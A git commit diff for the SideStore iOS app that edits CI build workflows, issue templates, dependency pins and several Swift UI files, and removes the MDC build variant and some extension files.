Enable building for connect branch.

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

.github/CODEOWNERS

@@ -1 +1 @@
-*       @JoeMatt @lonkelle
+*       @JoeMatt @lonkelle @nythepegasus @Spidy123222 @SternXD

.github/ISSUE_TEMPLATE/bug_report.yml

@@ -2,15 +2,14 @@ name: Bug Report
 description: Report a bug
 title: "[BUG] "
 labels: ["bug"]
-assignees:
+assignees: []
-  - naturecodevoid
 body:
   - type: markdown
     attributes:
       value: |
         Thanks for taking the time to fill out this bug report! Before you continue filling out the report, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the bug you are experiencing** in case it has already been reported.
         
-        **Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
+        **Please use [Discord](https://discord.gg/sidestore-949183273383395328) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
   - type: textarea
     id: description
     attributes:

.github/ISSUE_TEMPLATE/config.yml

@@ -3,7 +3,7 @@ blank_issues_enabled: false
 
 contact_links:
   - name: Discord
-    url: https://discord.gg/RgpFBX3Q3k
+    url: https://discord.gg/sidestore-949183273383395328
     about: If you need support, please go here first instead of making an issue!
   - name: GitHub Discussions
     url: https://github.com/SideStore/SideStore/discussions

.github/ISSUE_TEMPLATE/feature_request.yml

@@ -2,15 +2,14 @@ name: Feature Request
 description: Suggest a feature
 title: "[FEATURE REQUEST] "
 labels: ["enhancement"]
-assignees:
+assignees: []
-  - naturecodevoid
 body:
   - type: markdown
     attributes:
       value: |
         Thanks for taking the time to fill out this feature request! Before you continue filling out the form, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the feature you are suggestion** in case it has already been suggested.
         
-        **Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
+        **Please use [Discord](https://discord.gg/sidestore-949183273383395328) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
   - type: textarea
     id: description
     attributes:

.github/workflows/beta.yml

@@ -27,9 +27,6 @@ jobs:
       - name: Change version to tag
         run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
 
-      - name: Change default icon to beta icon
-        run: sed -e 's/= Neon/= Starburst/' -i '' ./AltStore.xcodeproj/project.pbxproj
-
       - name: Get version
         id: version
         run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
@@ -42,21 +39,14 @@ jobs:
         with:
           xcode-version: ${{ matrix.version }}
 
-      - name: "[Normal] Build SideStore, fakesign app and convert to IPA"
+      - name: Build SideStore
-        run: |
+        run: make build | xcpretty && exit ${PIPESTATUS[0]}
-          make build | xcpretty
-          make fakesign
-          make ipa
 
-      - name: Enable MDC
+      - name: Fakesign app
-        run: make enable_mdc
+        run: make fakesign
 
-      - name: "[MDC] Build SideStore, fakesign app and convert to IPA"
+      - name: Convert to IPA
-        run: |
+        run: make ipa
-          make clean
-          make build DSYM_FOLDER=./MDC-dSYM | xcpretty
-          make fakesign
-          make ipa IPA_NAME=SideStore-MDC.ipa
 
       - name: Get current date
         id: date
@@ -74,9 +64,7 @@ jobs:
           tag_name: ${{ github.ref_name }}
           draft: true
           prerelease: true
-          files: |
+          files: SideStore.ipa
-            SideStore.ipa
-            SideStore-MDC.ipa
           body: |
             <!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
             Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal. However, **they might contain bugs and other issues. Use at your own risk!**
@@ -95,29 +83,14 @@ jobs:
       - name: Add version to IPA file name
         run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
 
-      - name: Add version to MDC IPA file name
-        run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
-
       - name: Upload SideStore.ipa Artifact
         uses: actions/upload-artifact@v3.1.0
         with:
           name: SideStore-${{ steps.version.outputs.version }}.ipa
           path: SideStore-${{ steps.version.outputs.version }}.ipa
 
-      - name: Upload SideStore-MDC.ipa Artifact
+      - name: Upload *.dSYM Artifact
-        uses: actions/upload-artifact@v3.1.0
-        with:
-          name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
-          path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
-
-      - name: Upload dSYM Artifact
         uses: actions/upload-artifact@v3.1.0
         with:
           name: SideStore-${{ steps.version.outputs.version }}-dSYM
-          path: ./dSYM/*
+          path: ./*.dSYM/
-
-      - name: Upload MDC-dSYM Artifact
-        uses: actions/upload-artifact@v3.1.0
-        with:
-          name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
-          path: ./MDC-dSYM/*

.github/workflows/nightly.yml

@@ -2,7 +2,7 @@ name: Nightly SideStore build
 on:
   push:
     branches:
-      - develop
+      - connect-develop
 
 jobs:
   build:
@@ -36,12 +36,6 @@ jobs:
       - name: Increase nightly build number and set as version
         run: bash .github/workflows/increase-nightly-build-num.sh
 
-      - name: Change default icon to nightly icon
-        run: sed -e 's/= Neon/= Steel/' -i '' ./AltStore.xcodeproj/project.pbxproj
-
-      - name: Enable unstable features
-        run: make enable_unstable
-
       - name: Get version
         id: version
         run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
@@ -54,21 +48,14 @@ jobs:
         with:
           xcode-version: ${{ matrix.version }}
 
-      - name: "[Normal] Build SideStore, fakesign app and convert to IPA"
+      - name: Build SideStore
-        run: |
+        run: make build | xcpretty && exit ${PIPESTATUS[0]}
-          make build | xcpretty
-          make fakesign
-          make ipa
 
-      - name: Enable MDC
+      - name: Fakesign app
-        run: make enable_mdc
+        run: make fakesign
 
-      - name: "[MDC] Build SideStore, fakesign app and convert to IPA"
+      - name: Convert to IPA
-        run: |
+        run: make ipa
-          make clean
-          make build DSYM_FOLDER=./MDC-dSYM | xcpretty
-          make fakesign
-          make ipa IPA_NAME=SideStore-MDC.ipa
 
       - name: Get current date
         id: date
@@ -85,9 +72,7 @@ jobs:
           release: "Nightly"
           tag: "nightly"
           prerelease: true
-          files: |
+          files: SideStore.ipa
-            SideStore.ipa
-            SideStore-MDC.ipa
           body: |
             This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
             
@@ -105,32 +90,17 @@ jobs:
       - name: Add version to IPA file name
         run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
 
-      - name: Add version to MDC IPA file name
-        run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
-
       - name: Upload SideStore.ipa Artifact
         uses: actions/upload-artifact@v3.1.0
         with:
           name: SideStore-${{ steps.version.outputs.version }}.ipa
           path: SideStore-${{ steps.version.outputs.version }}.ipa
 
-      - name: Upload SideStore-MDC.ipa Artifact
+      - name: Upload *.dSYM Artifact
-        uses: actions/upload-artifact@v3.1.0
-        with:
-          name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
-          path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
-
-      - name: Upload dSYM Artifact
         uses: actions/upload-artifact@v3.1.0
         with:
           name: SideStore-${{ steps.version.outputs.version }}-dSYM
-          path: ./dSYM/*
+          path: ./*.dSYM/
-
-      - name: Upload MDC-dSYM Artifact
-        uses: actions/upload-artifact@v3.1.0
-        with:
-          name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
-          path: ./MDC-dSYM/*
 
       - name: Reset cache for apps.sidestore.io/nightly
         run: sleep 10 && curl https://apps.sidestore.io/reset-cache/nightly/${{ secrets.SIDESOURCE_KEY }}

.github/workflows/pr.yml

@@ -27,12 +27,6 @@ jobs:
         env:
           COMMIT: ${{ github.event.pull_request.head.sha }}
 
-      - name: Change default icon to alpha icon
-        run: sed -e 's/= Neon/= Storm/' -i '' ./AltStore.xcodeproj/project.pbxproj
-
-      - name: Enable unstable features
-        run: make enable_unstable
-
       - name: Get version
         id: version
         run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
@@ -45,48 +39,26 @@ jobs:
         with:
           xcode-version: ${{ matrix.version }}
 
-      - name: "[Normal] Build SideStore, fakesign app and convert to IPA"
+      - name: Build SideStore
-        run: |
+        run: make build | xcpretty && exit ${PIPESTATUS[0]}
-          make build | xcpretty
-          make fakesign
-          make ipa
 
-      - name: Enable MDC
+      - name: Fakesign app
-        run: make enable_mdc
+        run: make fakesign
 
-      - name: "[MDC] Build SideStore, fakesign app and convert to IPA"
+      - name: Convert to IPA
-        run: |
+        run: make ipa
-          make clean
-          make build DSYM_FOLDER=./MDC-dSYM | xcpretty
-          make fakesign
-          make ipa IPA_NAME=SideStore-MDC.ipa
 
       - name: Add version to IPA file name
         run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
 
-      - name: Add version to MDC IPA file name
-        run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
-
       - name: Upload SideStore.ipa Artifact
         uses: actions/upload-artifact@v3.1.0
         with:
           name: SideStore-${{ steps.version.outputs.version }}.ipa
           path: SideStore-${{ steps.version.outputs.version }}.ipa
 
-      - name: Upload SideStore-MDC.ipa Artifact
+      - name: Upload *.dSYM Artifact
-        uses: actions/upload-artifact@v3.1.0
-        with:
-          name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
-          path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
-
-      - name: Upload dSYM Artifact
         uses: actions/upload-artifact@v3.1.0
         with:
           name: SideStore-${{ steps.version.outputs.version }}-dSYM
-          path: ./dSYM/*
+          path: ./*.dSYM/
-
-      - name: Upload MDC-dSYM Artifact
-        uses: actions/upload-artifact@v3.1.0
-        with:
-          name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
-          path: ./MDC-dSYM/*

.github/workflows/stable.yml

@@ -39,21 +39,14 @@ jobs:
         with:
           xcode-version: ${{ matrix.version }}
 
-      - name: "[Normal] Build SideStore, fakesign app and convert to IPA"
+      - name: Build SideStore
-        run: |
+        run: make build | xcpretty && exit ${PIPESTATUS[0]}
-          make build | xcpretty
-          make fakesign
-          make ipa
 
-      - name: Enable MDC
+      - name: Fakesign app
-        run: make enable_mdc
+        run: make fakesign
 
-      - name: "[MDC] Build SideStore, fakesign app and convert to IPA"
+      - name: Convert to IPA
-        run: |
+        run: make ipa
-          make clean
-          make build DSYM_FOLDER=./MDC-dSYM | xcpretty
-          make fakesign
-          make ipa IPA_NAME=SideStore-MDC.ipa
 
       - name: Get current date
         id: date
@@ -70,9 +63,7 @@ jobs:
           name: ${{ steps.version.outputs.version }}
           tag_name: ${{ github.ref_name }}
           draft: true
-          files: |
+          files: SideStore.ipa
-            SideStore.ipa
-            SideStore-MDC.ipa
           body: |
             <!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
             ## Changelog
@@ -89,29 +80,14 @@ jobs:
       - name: Add version to IPA file name
         run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
 
-      - name: Add version to MDC IPA file name
-        run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
-
       - name: Upload SideStore.ipa Artifact
         uses: actions/upload-artifact@v3.1.0
         with:
           name: SideStore-${{ steps.version.outputs.version }}.ipa
           path: SideStore-${{ steps.version.outputs.version }}.ipa
 
-      - name: Upload SideStore-MDC.ipa Artifact
+      - name: Upload *.dSYM Artifact
-        uses: actions/upload-artifact@v3.1.0
-        with:
-          name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
-          path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
-
-      - name: Upload dSYM Artifact
         uses: actions/upload-artifact@v3.1.0
         with:
           name: SideStore-${{ steps.version.outputs.version }}-dSYM
-          path: ./dSYM/*
+          path: ./*.dSYM/
-
-      - name: Upload MDC-dSYM Artifact
-        uses: actions/upload-artifact@v3.1.0
-        with:
-          name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
-          path: ./MDC-dSYM/*

.gitignore

@@ -36,8 +36,8 @@ xcuserdata
 .idea/
 
 Payload/
-SideStore*.ipa
+SideStore.ipa
-*dSYM
+*.dSYM
 
 Dependencies/.*-prebuilt-fetch-*
 Dependencies/minimuxer/*

.gitmodules

@@ -9,7 +9,7 @@
 	url = https://github.com/libimobiledevice/libusbmuxd.git
 [submodule "Dependencies/libplist"]
 	path = Dependencies/libplist
-	url = https://github.com/libimobiledevice/libplist.git
+	url = https://github.com/SideStore/libplist.git
 [submodule "Dependencies/MarkdownAttributedString"]
 	path = Dependencies/MarkdownAttributedString
 	url = https://github.com/chockenberry/MarkdownAttributedString.git

AltBackup/Assets.xcassets/Background.colorset/Contents.json

@@ -5,9 +5,9 @@
         "color-space" : "srgb",
         "components" : {
           "alpha" : "1.000",
-          "blue" : "0.518",
+          "blue" : "175",
-          "green" : "0.502",
+          "green" : "4",
-          "red" : "0.004"
+          "red" : "115"
         }
       },
       "idiom" : "universal"
@@ -23,9 +23,9 @@
         "color-space" : "srgb",
         "components" : {
           "alpha" : "1.000",
-          "blue" : "0.404",
+          "blue" : "150",
-          "green" : "0.322",
+          "green" : "3",
-          "red" : "0.008"
+          "red" : "99"
         }
       },
       "idiom" : "universal"

AltStore.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved

@@ -6,7 +6,7 @@
       "location" : "https://github.com/SideStore/AltSign",
       "state" : {
         "branch" : "master",
-        "revision" : "7e0e7edcf8fbc44ac1e35da3e9030a297aa18b84"
+        "revision" : "cc6189f0f7cd8e5bd24943af9322e0ff9420e9f4"
       }
     },
     {
@@ -14,35 +14,17 @@
       "kind" : "remoteSourceControl",
       "location" : "https://github.com/microsoft/appcenter-sdk-apple.git",
       "state" : {
-        "revision" : "8354a50fe01a7e54e196d3b5493b5ab53dd5866a",
+        "revision" : "b2dc99cfedead0bad4e6573d86c5228c89cff332",
-        "version" : "4.4.2"
+        "version" : "4.4.3"
       }
     },
     {
-      "identity" : "asyncimage",
+      "identity" : "imobiledevice.swift",
       "kind" : "remoteSourceControl",
-      "location" : "https://github.com/fabianthdev/AsyncImage",
+      "location" : "https://github.com/SideStore/iMobileDevice.swift",
       "state" : {
-        "branch" : "main",
+        "revision" : "74e481106dd155c0cd21bca6795fd9fe5f751654",
-        "revision" : "018a4fffea025066d795ebb025c2769183f3fffb"
+        "version" : "1.0.5"
-      }
-    },
-    {
-      "identity" : "expandabletext",
-      "kind" : "remoteSourceControl",
-      "location" : "https://github.com/fabianthdev/ExpandableText",
-      "state" : {
-        "branch" : "main",
-        "revision" : "a375f5b8c73f0af69aa7add890378fdf404a29bc"
-      }
-    },
-    {
-      "identity" : "inject",
-      "kind" : "remoteSourceControl",
-      "location" : "https://github.com/krzysztofzablocki/Inject.git",
-      "state" : {
-        "revision" : "abcc4b091fd384cfd09b149a60298b75dc87c5b9",
-        "version" : "1.2.3"
       }
     },
     {
@@ -63,15 +45,6 @@
         "version" : "4.2.0"
       }
     },
-    {
-      "identity" : "localconsole",
-      "kind" : "remoteSourceControl",
-      "location" : "https://github.com/naturecodevoid/LocalConsole.git",
-      "state" : {
-        "branch" : "main",
-        "revision" : "4ead9c3e565190172caac62b5179347e02999365"
-      }
-    },
     {
       "identity" : "nuke",
       "kind" : "remoteSourceControl",
@@ -86,8 +59,8 @@
       "kind" : "remoteSourceControl",
       "location" : "https://github.com/krzyzanowskim/OpenSSL",
       "state" : {
-        "revision" : "033fcb41dac96b1b6effa945ca1f9ade002370b2",
+        "revision" : "0faf71a188bcfdf0245cab42886b9b240ca71c52",
-        "version" : "1.1.1501"
+        "version" : "1.1.2200"
       }
     },
     {
@@ -95,17 +68,8 @@
       "kind" : "remoteSourceControl",
       "location" : "https://github.com/microsoft/PLCrashReporter.git",
       "state" : {
-        "revision" : "6b27393cad517c067dceea85fadf050e70c4ceaa",
+        "revision" : "81cdec2b3827feb03286cb297f4c501a8eb98df1",
-        "version" : "1.10.1"
+        "version" : "1.10.2"
-      }
-    },
-    {
-      "identity" : "reachability.swift",
-      "kind" : "remoteSourceControl",
-      "location" : "https://github.com/ashleymills/Reachability.swift",
-      "state" : {
-        "branch" : "master",
-        "revision" : "a81b7367f2c46875f29577e03a60c39cdfad0c8d"
       }
     },
     {
@@ -113,17 +77,8 @@
       "kind" : "remoteSourceControl",
       "location" : "https://github.com/SwiftPackageIndex/SemanticVersion.git",
       "state" : {
-        "revision" : "fc670910dc0903cc269b3d0b776cda5703979c4e",
+        "revision" : "a70840d5fca686ae3bd2fcf8aecc5ded0bd4f125",
-        "version" : "0.3.5"
+        "version" : "0.3.6"
-      }
-    },
-    {
-      "identity" : "sfsafesymbols",
-      "kind" : "remoteSourceControl",
-      "location" : "https://github.com/SFSafeSymbols/SFSafeSymbols",
-      "state" : {
-        "revision" : "50bc33264e6c0972f905b61af656201cf6091de8",
-        "version" : "4.0.0"
       }
     },
     {
@@ -131,8 +86,8 @@
       "kind" : "remoteSourceControl",
       "location" : "https://github.com/sparkle-project/Sparkle.git",
       "state" : {
-        "revision" : "286edd1fa22505a9e54d170e9fd07d775ea233f2",
+        "revision" : "f0ceaf5cc9f3f23daa0ccb6dcebd79fc96ccc7d9",
-        "version" : "2.1.0"
+        "version" : "2.5.0"
       }
     },
     {
@@ -140,8 +95,8 @@
       "kind" : "remoteSourceControl",
       "location" : "https://github.com/daltoniam/Starscream.git",
       "state" : {
-        "revision" : "df8d82047f6654d8e4b655d1b1525c64e1059d21",
+        "revision" : "ac6c0fc9da221873e01bd1a0d4818498a71eef33",
-        "version" : "4.0.4"
+        "version" : "4.0.6"
       }
     },
     {
@@ -152,15 +107,6 @@
         "branch" : "master",
         "revision" : "10a9150ef32d444af326beba76356ae9af95a3e7"
       }
-    },
-    {
-      "identity" : "zipfoundation",
-      "kind" : "remoteSourceControl",
-      "location" : "https://github.com/weichsel/ZIPFoundation.git",
-      "state" : {
-        "revision" : "43ec568034b3731101dbf7670765d671c30f54f3",
-        "version" : "0.9.16"
-      }
     }
   ],
   "version" : 2

AltStore/AltStore-Bridging-Header.h

@@ -6,7 +6,3 @@
 #import "ALTAppPatcher.h"
 
 #include "fragmentzip.h"
-
-#ifdef MDC
-#import "grant_full_disk_access.h"
-#endif /* MDC */

AltStore/App Detail/AppViewController.swift

@@ -217,8 +217,8 @@ final class AppViewController: UIViewController
                         
             self._shouldResetLayout = false
         }
-        
+                
-        let statusBarHeight = UIApplication.shared.statusBarFrame.height
+        let statusBarHeight = self.view.window?.windowScene?.statusBarManager?.statusBarFrame.height ?? 0
         let cornerRadius = self.contentViewControllerShadowView.layer.cornerRadius
         
         let inset = 12 as CGFloat
@@ -323,7 +323,7 @@ final class AppViewController: UIViewController
         
         self.backButtonContainerView.layer.cornerRadius = self.backButtonContainerView.bounds.midY
         
-        self.scrollView.scrollIndicatorInsets.top = statusBarHeight
+        self.scrollView.verticalScrollIndicatorInsets.top = statusBarHeight
         
         // Adjust content offset + size.
         let contentOffset = self.scrollView.contentOffset

AltStore/App IDs/AppIDsViewController.swift

@@ -90,14 +90,21 @@ private extension AppIDsViewController
                 cell.bannerView.button.isUserInteractionEnabled = false
                 
                 cell.bannerView.buttonLabel.isHidden = false
-                
+
                 let currentDate = Date()
                 
-                let numberOfDays = expirationDate.numberOfCalendarDays(since: currentDate)
+                let formatter = DateComponentsFormatter()
-                let numberOfDaysText = (numberOfDays == 1) ? NSLocalizedString("1 day", comment: "") : String(format: NSLocalizedString("%@ days", comment: ""), NSNumber(value: numberOfDays))
+                formatter.unitsStyle = .full
-                cell.bannerView.button.setTitle(numberOfDaysText.uppercased(), for: .normal)
+                formatter.includesApproximationPhrase = false
+                formatter.includesTimeRemainingPhrase = false
+                formatter.allowedUnits = [.minute, .hour, .day]
+                formatter.maximumUnitCount = 1
                 
-                attributedAccessibilityLabel.mutableString.append(String(format: NSLocalizedString("Expires in %@.", comment: ""), numberOfDaysText) + " ")
+                cell.bannerView.button.setTitle((formatter.string(from: currentDate, to: expirationDate) ?? NSLocalizedString("Unknown", comment: "")).uppercased(), for: .normal)
+                
+                // formatter.includesTimeRemainingPhrase = true
+                
+                // attributedAccessibilityLabel.mutableString.append((formatter.string(from: currentDate, to: expirationDate) ?? NSLocalizedString("Unknown", comment: "")) + " ")
             }
             else
             {

AltStore/AppDelegate.swift

@@ -10,7 +10,6 @@ import UIKit
 import UserNotifications
 import AVFoundation
 import Intents
-import LocalConsole
 
 import AltStoreCore
 import AltSign
@@ -59,19 +58,9 @@ final class AppDelegate: UIResponder, UIApplicationDelegate {
     
     func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
     {
-        // Copy STDOUT and STDERR to the logging console
-        _ = OutputCapturer.shared
-
         // Register default settings before doing anything else.
         UserDefaults.registerDefaults()
         
-        #if UNSTABLE
-        UnstableFeatures.load()
-        #endif
-        
-        LCManager.shared.isVisible = UserDefaults.standard.isConsoleEnabled
-        LCManager.shared.isCharacterLimitDisabled = true // we want all logs exported
-        
         DatabaseManager.shared.start { (error) in
             if let error = error
             {

AltStore/Browse/BrowseViewController.swift

@@ -8,6 +8,7 @@
 
 import UIKit
 
+import minimuxer
 import AltStoreCore
 import Roxas
 
@@ -264,7 +265,13 @@ private extension BrowseViewController
             previousProgress?.cancel()
             return
         }
-        
+
+        if !minimuxer.ready() {
+            let toastView = ToastView(error: MinimuxerError.NoConnection)
+            toastView.show(in: self)
+            return
+        }
+
         _ = AppManager.shared.install(app, presentingViewController: self) { (result) in
             DispatchQueue.main.async {
                 switch result

AltStore/Components/CollapsingTextView.swift

@@ -22,7 +22,7 @@ final class CollapsingTextView: UITextView
         }
     }
     
-    var lineSpacing: CGFloat = 2 {
+    var lineSpacing: Double = 2 {
         didSet {
             self.setNeedsLayout()
         }
@@ -34,7 +34,19 @@ final class CollapsingTextView: UITextView
     {
         super.awakeFromNib()
         
-        self.layoutManager.delegate = self
+        self.initialize()
+    }
+    
+    private func initialize()
+    {
+        if #available(iOS 16, *)
+        {
+            self.updateText()
+        }
+        else
+        {
+            self.layoutManager.delegate = self
+        }
         
         self.textContainerInset = .zero
         self.textContainer.lineFragmentPadding = 0
@@ -108,6 +120,25 @@ private extension CollapsingTextView
     {
         self.isCollapsed.toggle()
     }
+    
+    @available(iOS 16, *)
+    func updateText()
+    {
+        do
+        {
+            let style = NSMutableParagraphStyle()
+            style.lineSpacing = self.lineSpacing
+            
+            var attributedText = try AttributedString(self.attributedText, including: \.uiKit)
+            attributedText[AttributeScopes.UIKitAttributes.ParagraphStyleAttribute.self] = style
+            
+            self.attributedText = NSAttributedString(attributedText)
+        }
+        catch
+        {
+            print("[ALTLog] Failed to update CollapsingTextView line spacing:", error)
+        }
+    }
 }
 
 extension CollapsingTextView: NSLayoutManagerDelegate

AltStore/Components/PillButton.swift

@@ -8,6 +8,12 @@
 
 import UIKit
 
+extension PillButton
+{
+    static let minimumSize = CGSize(width: 77, height: 31)
+    static let contentInsets = NSDirectionalEdgeInsets(top: 7, leading: 13, bottom: 7, trailing: 13)
+}
+
 final class PillButton: UIButton
 {
     override var accessibilityValue: String? {
@@ -70,9 +76,7 @@ final class PillButton: UIButton
     }()
     
     override var intrinsicContentSize: CGSize {
-        var size = super.intrinsicContentSize
+        let size = self.sizeThatFits(CGSize(width: Double.infinity, height: .infinity))
-        size.width += 26
-        size.height += 3
         return size
     }
     
@@ -88,6 +92,8 @@ final class PillButton: UIButton
         self.layer.masksToBounds = true
         self.accessibilityTraits.formUnion([.updatesFrequently, .button])
         
+        self.contentEdgeInsets = UIEdgeInsets(top: Self.contentInsets.top, left: Self.contentInsets.leading, bottom: Self.contentInsets.bottom, right: Self.contentInsets.trailing)
+        
         self.activityIndicatorView.style = .medium
         self.activityIndicatorView.isUserInteractionEnabled = false
         
@@ -119,6 +125,15 @@ final class PillButton: UIButton
         
         self.update()
     }
+    
+    override func sizeThatFits(_ size: CGSize) -> CGSize
+    {
+        var size = super.sizeThatFits(size)
+        size.width = max(size.width, PillButton.minimumSize.width)
+        size.height = max(size.height, PillButton.minimumSize.height)
+        
+        return size
+    }
 }
 
 private extension PillButton

AltStore/Extensions/Error+Message.swift

@@ -1,13 +0,0 @@
-//
-//  Error+Message.swift
-//  SideStore
-//
-//  Created by naturecodevoid on 5/30/23.
-//  Copyright © 2023 SideStore. All rights reserved.
-//
-
-extension Error {
-    func message() -> String {
-        (self as? LocalizedError)?.failureReason ?? self.localizedDescription
-    }
-}

AltStore/Extensions/Source+Trusted.swift

@@ -1,19 +0,0 @@
-//
-//  Source+Trusted.swift
-//  SideStore
-//
-//  Created by Fabian Thies on 04.02.23.
-//  Copyright © 2023 SideStore. All rights reserved.
-//
-
-import AltStoreCore
-
-extension Source {
-    var isOfficial: Bool {
-        self.identifier == Source.altStoreIdentifier
-    }
-
-    var isTrusted: Bool {
-        UserDefaults.shared.trustedSourceIDs?.contains(self.identifier) ?? false
-    }
-}

AltStore/Extensions/StoreApp+Filterable.swift

@@ -1,17 +0,0 @@
-//
-//  StoreApp+Searchable.swift
-//  SideStore
-//
-//  Created by Fabian Thies on 01.12.22.
-//  Copyright © 2022 SideStore. All rights reserved.
-//
-
-import AltStoreCore
-
-extension StoreApp: Filterable {
-    func matches(_ searchText: String) -> Bool {
-        searchText.isEmpty ||
-        self.name.lowercased().contains(searchText.lowercased()) ||
-        self.developerName.lowercased().contains(searchText.lowercased())
-    }
-}

AltStore/Extensions/StoreApp+SideStore.swift

@@ -1,15 +0,0 @@
-//
-//  StoreApp+SideStore.swift
-//  SideStore
-//
-//  Created by naturecodevoid on 4/9/23.
-//  Copyright © 2023 SideStore. All rights reserved.
-//
-
-import AltStoreCore
-
-extension StoreApp {
-    var isSideStore: Bool {
-        self.bundleIdentifier == Bundle.Info.appbundleIdentifier
-    }
-}

AltStore/Extensions/StoreApp+Trusted.swift

@@ -1,19 +0,0 @@
-//
-//  StoreApp+Trusted.swift
-//  SideStore
-//
-//  Created by Fabian Thies on 04.02.23.
-//  Copyright © 2023 SideStore. All rights reserved.
-//
-
-import AltStoreCore
-
-extension StoreApp {
-    var isFromOfficialSource: Bool {
-        self.source?.isOfficial ?? false
-    }
-
-    var isFromTrustedSource: Bool {
-        self.source?.isTrusted ?? false
-    }
-}

AltStore/Extensions/UIApplication+SideStore.swift

@@ -1,45 +0,0 @@
-//
-//  UIApplication+SideStore.swift
-//  SideStore
-//
-//  Created by naturecodevoid on 5/20/23.
-//  Copyright © 2023 SideStore. All rights reserved.
-//
-
-extension UIApplication {
-    static var keyWindow: UIWindow? {
-        UIApplication.shared.windows.filter { $0.isKeyWindow }.first
-    }
-    
-    static var topController: UIViewController? {
-        guard var topController = keyWindow?.rootViewController else { return nil }
-        while let presentedViewController = topController.presentedViewController {
-            topController = presentedViewController
-        }
-        return topController
-    }
-    
-    static func alert(
-        title: String? = nil,
-        message: String? = nil,
-        leftButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
-        rightButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
-        leftButtonStyle: UIAlertAction.Style = .default,
-        rightButtonStyle: UIAlertAction.Style = .default
-    ) {
-        let alert = UIAlertController(title: title, message: message, preferredStyle: .alert)
-        if let leftButton = leftButton {
-            alert.addAction(UIAlertAction(title: leftButton.text, style: leftButtonStyle, handler: leftButton.action))
-        }
-        if let rightButton = rightButton {
-            alert.addAction(UIAlertAction(title: rightButton.text, style: rightButtonStyle, handler: rightButton.action))
-        }
-        if rightButton == nil && leftButton == nil {
-            alert.addAction(UIAlertAction(title: NSLocalizedString("Ok", comment: ""), style: .default))
-        }
-        
-        DispatchQueue.main.async {
-            topController?.present(alert, animated: true)
-        }
-    }
-}

AltStore/Extensions/View+Hidden.swift

@@ -1,22 +0,0 @@
-//
-//  View+Hidden.swift
-//  SideStore
-//
-//  Created by naturecodevoid on 2/18/23.
-//  Copyright © 2023 SideStore. All rights reserved.
-//
-
-import SwiftUI
-
-// https://stackoverflow.com/a/59228385 (modified)
-extension View {
-    @ViewBuilder func isHidden(_ hidden: Binding<Bool>, remove: Bool = false) -> some View {
-        if hidden.wrappedValue {
-            if !remove {
-                self.hidden()
-            }
-        } else {
-            self
-        }
-    }
-}

AltStore/Info.plist

@@ -14,13 +14,7 @@
 	<key>ALTPairingFile</key>
 	<string>&lt;insert pairing file here&gt;</string>
 	<key>ALTAnisetteURL</key>
-	<!--
+	<string>https://ani.sidestore.io</string>
-		for some reason, when we use the Info.plist preprocessor, 2 slashes in a row
-		removes the rest of the line and makes the plist invalid. to get around this,
-		we add a variable expansion ( $() ) in between the slashes that will ultimately
-		evaluate to nothing, keeping the original URL while keeping the plist valid.
-	-->
-	<string>http:/$()/ani.sidestore.io:6969</string>
 	<key>CFBundleDevelopmentRegion</key>
 	<string>$(DEVELOPMENT_LANGUAGE)</string>
 	<key>CFBundleDocumentTypes</key>
@@ -210,17 +204,7 @@
 			</dict>
 		</dict>
 	</array>
-	<key>UISupportsDocumentBrowser</key>
-	<true/>
 	<key>UIFileSharingEnabled</key>
 	<true/>
-	<!--
-	#if MDC
-	-->
-	<key>NSAppleMusicUsageDescription</key>
